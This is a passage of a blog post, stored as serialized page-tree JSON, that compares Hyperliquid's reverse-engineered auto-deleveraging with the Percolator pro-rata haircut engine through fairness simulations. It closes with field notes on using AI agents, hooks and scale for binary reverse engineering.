166164],{"type":22,"tag":264,"props":166165,"children":166168},{"className":166166,"style":166167},[316],"height:0.2753em;",[166169],{"type":22,"tag":264,"props":166170,"children":166171},{},[],{"type":22,"tag":264,"props":166173,"children":166175},{"className":166174},[289],[166176],{"type":27,"value":2891},{"type":22,"tag":264,"props":166178,"children":166180},{"className":166179},[289],[166181,166186],{"type":22,"tag":264,"props":166182,"children":166184},{"className":166183,"style":96376},[289,2178],[166185],{"type":27,"value":162895},{"type":22,"tag":264,"props":166187,"children":166189},{"className":166188},[2147],[166190],{"type":22,"tag":264,"props":166191,"children":166193},{"className":166192},[305,306],[166194,166223],{"type":22,"tag":264,"props":166195,"children":166197},{"className":166196},[311],[166198,166218],{"type":22,"tag":264,"props":166199,"children":166201},{"className":166200,"style":143900},[316],[166202],{"type":22,"tag":264,"props":166203,"children":166204},{"style":162914},[166205,166209],{"type":22,"tag":264,"props":166206,"children":166208},{"className":166207,"style":2169},[326],[],{"type":22,"tag":264,"props":166210,"children":166212},{"className":166211},[332,333,334,335],[166213],{"type":22,"tag":264,"props":166214,"children":166216},{"className":166215,"style":22894},[289,2178,335],[166217],{"type":27,"value":7279},{"type":22,"tag":264,"props":166219,"children":166221},{"className":166220},[396],[166222],{"type":27,"value":399},{"type":22,"tag":264,"props":166224,"children":166226},{"className":166225},[311],[166227],{"type":22,"tag":264,"props":166228,"children":166230},{"className":166229,"style":2721},[316],[166231],{"type":22,"tag":264,"props":166232,"children":166233},{},[],{"type":27,"value":166235}," — ",{"type":22,"tag":257,"props":166237,"children":166239},{"className":166238},[260,261],[166240],{"type":22,"tag":264,"props":166241,"children":166243},{"className":166242},[267],[166244],{"type":22,"tag":264,"props":166245,"children":166247},{"className":166246,"ariaHidden":273},[272],[166248],{"type":22,"tag":264,"props":166249,"children":166251},{"className":166250},[278],[166252,166257],{"type":22,"tag":264,"props":166253,"children":166256},{"className":166254,"style":166255},[283],"height:0.9587em;vertical-align:-0.2753em;",[],{"type":22,"tag":264,"props":166258,"children":166260},{"className":166259},[289],[166261,166266],{"type":22,"tag":264,"props":166262,"children":166264},{"className":166263,"style":96376},[289,2178],[166265],{"type":27,"value":162895},{"type":22,"tag":264,"props":166267,"children":166269},{"className":166268},[2147],[166270],{"type":22,"tag":264,"props":166271,"children":166273},{"className":166272},[305,306],[166274,166319],{"type":22,"tag":264,"props":166275,"children":166277},{"className":166276},[311],[166278,166314],{"type":22,"tag":264,"props":166279,"children":166281},{"className":166280,"style":110085},[316],[166282,166298],{"type":22,"tag":264,"props":166283,"children":166284},{"style":166124},[166285,166289],{"type":22,"tag":264,"props":166286,"children":166288},{"className":166287,"style":2169},[326],[],{"type":22,"tag":264,"props":166290,"children":166292},{"className":166291},[332,333,334,335],[166293],{"type":22,"tag":264,"props":166294,"children":166296},{"className":166295,"style":22894},[289,2178,335],[166297],{"type":27,"value":7279},{"type":22,"tag":264,"props":166299,"children":166300},{"style":5353},[166301,166305],{"type":22,"tag":264,"props":166302,"children":166304},{"className":166303,"style":2169},[326],[],{"type":22,"tag":264,"props":166306,"children":166308},{"className":166307},[332,333,334,335],[166309],{"type":22,"tag":264,"props":166310,"children":166312},{"className":166311,"style":94855},[289,2178,335],[166313],{"type":27,"value":162409},{"type":22,"tag":264,"props":166315,"children":166317},{"className":166316},[396],[166318],{"type":27,"value":399},{"type":22,"tag":264,"props":166320,"children":166322},{"className":166321},[311],[166323],{"type":22,"tag":264,"props":166324,"children":166326},{"className":166325,"style":166167},[316],[166327],{"type":22,"tag":264,"props":166328,"children":166329},{},[],{"type":27,"value":166331}," is the haircut capacity (total positive PNL) after going through a policy ",{"type":22,"tag":257,"props":166333,"children":166335},{"className":166334},[260,261],[166336],{"type":22,"tag":264,"props":166337,"children":166339},{"className":166338},[267],[166340],{"type":22,"tag":264,"props":166341,"children":166343},{"className":166342,"ariaHidden":273},[272],[166344],{"type":22,"tag":264,"props":166345,"children":166347},{"className":166346},[278],[166348,166352],{"type":22,"tag":264,"props":166349,"children":166351},{"className":166350,"style":112208},[283],[],{"type":22,"tag":264,"props":166353,"children":166355},{"className":166354,"style":94855},[289,2178],[166356],{"type":27,"value":162409},{"type":22,"tag":23,"props":166358,"children":166359},{},[166360],{"type":27,"value":166361},"We can now simulate these values for both Hyperliquid and Percolator, a new pro-rata based perp engine developed by Anatoly Yakovenko.",{"type":22,"tag":166363,"props":166364,"children":166366},"git-hub-repo-link",{"url":166365},"https://github.com/aeyakovenko/percolator",[],{"type":22,"tag":23,"props":166368,"children":166369},{},[166370,166372,166377],{"type":27,"value":166371},"Given a fixed ",{"type":22,"tag":1699,"props":166373,"children":166374},{},[166375],{"type":27,"value":166376},"a priori",{"type":27,"value":166378}," price, which will simulate both a crash followed by a recovery, and a crash with an equal crash after (this is the most common reason for deleveraging, but the opposite could also happen).",{"type":22,"tag":23,"props":166380,"children":166381},{},[166382,166384,166389,166391,166468],{"type":27,"value":166383},"One prediction that we can make is that Percolator is ",{"type":22,"tag":1699,"props":166385,"children":166386},{},[166387],{"type":27,"value":166388},"perfectly fair",{"type":27,"value":166390}," according to this scoring: the ",{"type":22,"tag":257,"props":166392,"children":166394},{"className":166393},[260,261],[166395],{"type":22,"tag":264,"props":166396,"children":166398},{"className":166397},[267],[166399],{"type":22,"tag":264,"props":166400,"children":166402},{"className":166401,"ariaHidden":273},[272],[166403],{"type":22,"tag":264,"props":166404,"children":166406},{"className":166405},[278],[166407,166411],{"type":22,"tag":264,"props":166408,"children":166410},{"className":166409,"style":143624},[283],[],{"type":22,"tag":264,"props":166412,"children":166414},{"className":166413},[289],[166415,166420],{"type":22,"tag":264,"props":166416,"children":166418},{"className":166417},[289,2178],[166419],{"type":27,"value":85670},{"type":22,"tag":264,"props":166421,"children":166423},{"className":166422},[2147],[166424],{"type":22,"tag":264,"props":166425,"children":166427},{"className":166426},[305,306],[166428,166457],{"type":22,"tag":264,"props":166429,"children":166431},{"className":166430},[311],[166432,166452],{"type":22,"tag":264,"props":166433,"children":166435},{"className":166434,"style":94898},[316],[166436],{"type":22,"tag":264,"props":166437,"children":166438},{"style":94426},[166439,166443],{"type":22,"tag":264,"props":166440,"children":166442},{"className":166441,"style":2169},[326],[],{"type":22,"tag":264,"props":166444,"children":166446},{"className":166445},[332,333,334,335],[166447],{"type":22,"tag":264,"props":166448,"children":166450},{"className":166449},[289,2178,335],[166451],{"type":27,"value":5050},{"type":22,"tag":264,"props":166453,"children":166455},{"className":166454},[396],[166456],{"type":27,"value":399},{"type":22,"tag":264,"props":166458,"children":166460},{"className":166459},[311],[166461],{"type":22,"tag":264,"props":166462,"children":166464},{"className":166463,"style":2721},[316],[166465],{"type":22,"tag":264,"props":166466,"children":166467},{},[],{"type":27,"value":166469}," are the same for everyone, thus the Gini coefficient must be 0.",{"type":22,"tag":23,"props":166471,"children":166472},{},[166473,166475,166480],{"type":27,"value":166474},"We are ignoring the ",{"type":22,"tag":1699,"props":166476,"children":166477},{},[166478],{"type":27,"value":166479},"a posteriori",{"type":27,"value":166481}," price impact that deleveraging causes (read about the Oct 10 crash analysis in that paper). Cross-margin leverage is also interesting because it introduces more correlation between cross-traded assets, while with Percolator we have one risk engine per asset (slab).",{"type":22,"tag":23,"props":166483,"children":166484},{},[166485],{"type":27,"value":166486},"Hyperliquid also has an interesting caveat we showed earlier, as it operates with a conditional insurance fund: we will simulate a single asset for now, but this influences the equation when we have multiple assets being traded in either isolated or cross-margin mode.",{"type":22,"tag":169,"props":166488,"children":166490},{"id":166489},"simulations",[166491],{"type":27,"value":166492},"Simulations",{"type":22,"tag":23,"props":166494,"children":166495},{},[166496],{"type":27,"value":166497},"Let's consider the following price scenarios, as we said:",{"type":22,"tag":23,"props":166499,"children":166500},{},[166501],{"type":22,"tag":215,"props":166502,"children":166505},{"alt":166503,"src":166504},"Price scenarios for the simulation","/posts/hyperliquid-risk-engine/price_scenarios.png",[],{"type":22,"tag":23,"props":166507,"children":166508},{},[166509],{"type":27,"value":166510},"Running this simulation of both systems with a Python reimplementation yields these results:",{"type":22,"tag":23,"props":166512,"children":166513},{},[166514],{"type":22,"tag":215,"props":166515,"children":166518},{"alt":166516,"src":166517},"Trilemma radar comparing HL and Percolator","/posts/hyperliquid-risk-engine/trilemma_radar.png",[],{"type":22,"tag":181,"props":166520,"children":166522},{"id":166521},"percolator-is-more-optimistic",[166523],{"type":27,"value":166524},"Percolator Is More \"Optimistic\"",{"type":22,"tag":23,"props":166526,"children":166527},{},[166528,166530,166535,166537,166542,166544,166550,166552,166557],{"type":27,"value":166529},"The key difference is what happens to positions. ADL ",{"type":22,"tag":1699,"props":166531,"children":166532},{},[166533],{"type":27,"value":166534},"permanently closes",{"type":27,"value":166536}," them: if the market keeps moving in your favor, tough luck, you're already out and have to re-enter at the new price. Percolator only reduces what you can ",{"type":22,"tag":1699,"props":166538,"children":166539},{},[166540],{"type":27,"value":166541},"withdraw",{"type":27,"value":166543},", but the position stays open. If conditions improve, ",{"type":22,"tag":257,"props":166545,"children":166547},{"className":166546},[],[166548],{"type":27,"value":166549},"Residual",{"type":27,"value":166551}," goes up, ",{"type":22,"tag":257,"props":166553,"children":166555},{"className":166554},[],[166556],{"type":27,"value":85670},{"type":27,"value":166558}," climbs back toward 1, and you get your PNL back without doing anything.",{"type":22,"tag":23,"props":166560,"children":166561},{},[166562,166564,166568],{"type":27,"value":166563},"We can see this in a short squeeze scenario (60% short market, price +10%). HL's queue closes 8 of the 27 winning longs — those traders get zero if the rally continues. Under Percolator, all 27 keep their full positions (only the withdrawable profit is reduced by the uniform haircut) and all participate in the continued move. Note that HL's surviving positions are at full size, so they individually capture ",{"type":22,"tag":1699,"props":166565,"children":166566},{},[166567],{"type":27,"value":21493},{"type":27,"value":166569}," per position, though the tradeoff is that fewer traders get to participate.",{"type":22,"tag":23,"props":166571,"children":166572},{},[166573],{"type":22,"tag":215,"props":166574,"children":166577},{"alt":166575,"src":166576},"Rebound opportunity under Percolator vs HL ADL","/posts/hyperliquid-risk-engine/rebound_opportunity.png",[],{"type":22,"tag":169,"props":166579,"children":166581},{"id":166580},"some-points-to-be-made",[166582],{"type":27,"value":166583},"Some Points to Be Made",{"type":22,"tag":181,"props":166585,"children":166587},{"id":166586},"percolator-is-indifferent-to-leverage",[166588],{"type":27,"value":166589},"Percolator Is Indifferent to Leverage",{"type":22,"tag":23,"props":166591,"children":166592},{},[166593],{"type":27,"value":166594},"We can prove that this is quite the opposite for Hyperliquid, as we've already traced the implementation of the ADL algorithm, which disproportionately targets high leverages.",{"type":22,"tag":23,"props":166596,"children":166597},{},[166598],{"type":22,"tag":215,"props":166599,"children":166602},{"alt":166600,"src":166601},"Leverage indifference","/posts/hyperliquid-risk-engine/leverage_indifference.png",[],{"type":22,"tag":181,"props":166604,"children":166606},{"id":166605},"fairness",[166607],{"type":27,"value":162160},{"type":22,"tag":23,"props":166609,"children":166610},{},[166611],{"type":27,"value":166612},"A point made in the same paper is that Hyperliquid is \"antifair\": by this point we should have proven that in the implementation of the node itself, in the way positions to be closed are chosen (descend from the highest-scored one to lower; don't touch anything else).",{"type":22,"tag":23,"props":166614,"children":166615},{},[166616],{"type":22,"tag":215,"props":166617,"children":166620},{"alt":166618,"src":166619},"Haircut distribution","/posts/hyperliquid-risk-engine/haircut_dist.png",[],{"type":22,"tag":23,"props":166622,"children":166623},{},[166624,166626,166631],{"type":27,"value":166625},"The paper already states in prop. 8.1 that queue-based algos (like HL) reach solvency faster. We can see that by looking at how ADL is triggered: in ",{"type":22,"tag":257,"props":166627,"children":166629},{"className":166628},[],[166630],{"type":27,"value":160663},{"type":27,"value":166632}," we start by fully closing the worst position against the best-performing trader.",{"type":22,"tag":169,"props":166634,"children":166636},{"id":166635},"strengths-and-limitations-of-agents-for-reverse-engineering",[166637],{"type":27,"value":166638},"Strengths and Limitations of Agents for Reverse Engineering",{"type":22,"tag":23,"props":166640,"children":166641},{},[166642],{"type":27,"value":166643},"In general, the lion's share of the work is done by the underlying model, save for very straightforward tasks: attempts to overly aid the model in \"search problems\", meaning having it pick among a possible set of conclusions, usually lead to diminished performance.",{"type":22,"tag":181,"props":166645,"children":166647},{"id":166646},"hooks",[166648],{"type":27,"value":166649},"Hooks",{"type":22,"tag":23,"props":166651,"children":166652},{},[166653,166655,166659],{"type":27,"value":166654},"What tools are excellent at, on the other hand, is checking the agent's work via ",{"type":22,"tag":1699,"props":166656,"children":166657},{},[166658],{"type":27,"value":166646},{"type":27,"value":166660},": the agent proposes a solution to a very guessy problem, for example type recovery, and we automatically use the compiler scaffolding to check whether the given type would have compatible offsets and nested pointers compared to what is really used at the assembly level. A similar but simpler reasoning was applied to data flow in the reconstructed Rust snippets.",{"type":22,"tag":23,"props":166662,"children":166663},{},[166664],{"type":27,"value":166665},"At the same time, there's a very thin line between getting a readable output with no validation, and getting something that's unreadable but technically \"passes\" according to the hook: in general, hooks trade time and readability for concrete properties to be sure of on the output of each stage, for example whether the Rust sample compiles and uses variables that are mappable 1:1 to the disassembly.",{"type":22,"tag":181,"props":166667,"children":166669},{"id":166668},"scale",[166670],{"type":27,"value":166671},"Scale",{"type":22,"tag":23,"props":166673,"children":166674},{},[166675],{"type":27,"value":166676},"The second lesson to be learned is that agents really shine at scale: newer models can hold more context than the best reverse engineers out there, so using them for bulk looped tasks (like renaming many functions) is optimal.",{"type":22,"tag":23,"props":166678,"children":166679},{},[166680],{"type":27,"value":166681},"That being said, agents are also far more overconfident than the best reverse engineers. In setups where the agent has tools that \"write\" to the decompiler view, wrong guesses compounded across recovery stages; tools prevented that by prompting agents that failed their scrutiny to give up and circle back to harder questions with more data, and could thus handle longer runs better.",{"type":22,"tag":181,"props":166683,"children":166685},{"id":166684},"whats-next",[166686],{"type":27,"value":166687},"What's next?",{"type":22,"tag":23,"props":166689,"children":166690},{},[166691],{"type":27,"value":166692},"This is by no means a strict scientific verdict, but rather some field notes. The public source code for the agents and their tools can be found over at this GitHub repo:",{"type":22,"tag":166363,"props":166694,"children":166695},{"url":160329},[],{"type":22,"tag":23,"props":166697,"children":166698},{},[166699],{"type":27,"value":166700},"The analyzed binary can be found here:",{"type":22,"tag":160644,"props":166702,"children":166705},{"path":166703,"name":160253,"size":166704},"https://blog-assets.osec.io/hyperliquid-risk-engine/hl-node",53573376,[],{"type":22,"tag":181,"props":166707,"children":166709},{"id":166708},"closing-words",[166710],{"type":27,"value":166711},"Closing Words",{"type":22,"tag":23,"props":166713,"children":166714},{},[166715],{"type":27,"value":166716},"As much as it would be exciting to say that everything can be cracked open and studied in the age of LLMs, there are still some gaps to bridge.",{"type":22,"tag":23,"props":166718,"children":166719},{},[166720,166722,166727],{"type":27,"value":166721},"Flagship models got us 60% of the way there, but a lot of ",{"type":22,"tag":1699,"props":166723,"children":166724},{},[166725],{"type":27,"value":166726},"manual",{"type":27,"value":166728}," work is still required: on one hand, documenting patterns in the Rust compiler and distilling that knowledge onto agents and tools; on the other, understanding the \"whys\" behind a program, beyond the technical question of the \"what\".",{"type":22,"tag":23,"props":166730,"children":166731},{},[166732],{"type":27,"value":166733},"Still, there is no doubt that LLMs have greatly accelerated progress in the field, and the dream of throwing a well-armed swarm of agents at an ugly blob of machine code to extract meaningful—and, most importantly, correct—representations and source code is nearing.",{"type":22,"tag":23,"props":166735,"children":166736},{},[166737],{"type":27,"value":166738},"We hope to be part of that future, where even complex and obfuscated systems will be verifiable at a glance.",{"type":22,"tag":166740,"props":166741,"children":166742},"report-footnotes",{},[166743],{"type":22,"tag":1867,"props":166744,"children":166745},{},[166746,166751,166778,166783,166788],{"type":22,"tag":1871,"props":166747,"children":166748},{},[166749],{"type":27,"value":166750},"ADL crashes the node upon failure. Specifically, if we don't manage to complete all of the fills against anybody, an assertion in the loop fails.",{"type":22,"tag":1871,"props":166752,"children":166753},{},[166754,166760,166762,166768,166770,166776],{"type":22,"tag":257,"props":166755,"children":166757},{"className":166756},[],[166758],{"type":27,"value":166759},"compute_user_margin_and_shortfall",{"type":27,"value":166761}," is a ubiquitous function for accounting. In its main branch, we loop over a B-tree (note the repeating offsets ",{"type":22,"tag":257,"props":166763,"children":166765},{"className":166764},[],[166766],{"type":27,"value":166767},"0x748",{"type":27,"value":166769}," in the abstract expressions of ",{"type":22,"tag":257,"props":166771,"children":166773},{"className":166772},[],[166774],{"type":27,"value":166775},"btree_cursor",{"type":27,"value":166777},") of per-user positions, branching out based on cross/isolated positions (in order to know what to consider for notional).",{"type":22,"tag":1871,"props":166779,"children":166780},{},[166781],{"type":27,"value":166782},"Also, the specifics of how prices are fetched have been hand-waved for simplicity, but the system is pessimistic at every step when computing notionals.",{"type":22,"tag":1871,"props":166784,"children":166785},{},[166786],{"type":27,"value":166787},"Some loop iterations within the ADL code look very inefficient; for example, we seem to sort and come up with sorted counterparties for each position to be absorbed.",{"type":22,"tag":1871,"props":166789,"children":166790},{},[166791,166793,166799],{"type":27,"value":166792},"Some of the historical data from Hyperliquid can be retrieved via this S3 bucket: ",{"type":22,"tag":257,"props":166794,"children":166796},{"className":166795},[],[166797],{"type":27,"value":166798},"s3://hl-mainnet-node-data/explorer_blocks",{"type":27,"value":210},{"title":7,"searchDepth":1545,"depth":1545,"links":166801},[166802,166803,166804,166805,166806,166809,166810,166811,166814,166815,166818,166822],{"id":160199,"depth":1545,"text":160202},{"id":160192,"depth":1545,"text":160220},{"id":160277,"depth":1545,"text":160280},{"id":160553,"depth":1545,"text":160556},{"id":160587,"depth":1545,"text":160590,"children":166807},[166808],{"id":160726,"depth":1560,"text":160729},{"id":161505,"depth":1545,"text":161508},{"id":161601,"depth":1545,"text":161604},{"id":161818,"depth":1545,"text":161821,"children":166812},[166813],{"id":162063,"depth":1560,"text":162066},{"id":162123,"depth":1545,"text":162126},{"id":166489,"depth":1545,"text":166492,"children":166816},[166817],{"id":166521,"depth":1560,"text":166524},{"id":166580,"depth":1545,"text":166583,"children":166819},[166820,166821],{"id":166586,"depth":1560,"text":166589},{"id":166605,"depth":1560,"text":162160},{"id":166635,"depth":1545,"text":166638,"children":166823},[166824,166825,166826,166827],{"id":166646,"depth":1560,"text":166649},{"id":166668,"depth":1560,"text":166671},{"id":166684,"depth":1560,"text":166687},{"id":166708,"depth":1560,"text":166711},"content:blog:2026-06-22-hyperliquid-risk-engine.md","blog/2026-06-22-hyperliquid-risk-engine.md","blog/2026-06-22-hyperliquid-risk-engine",1790954630587]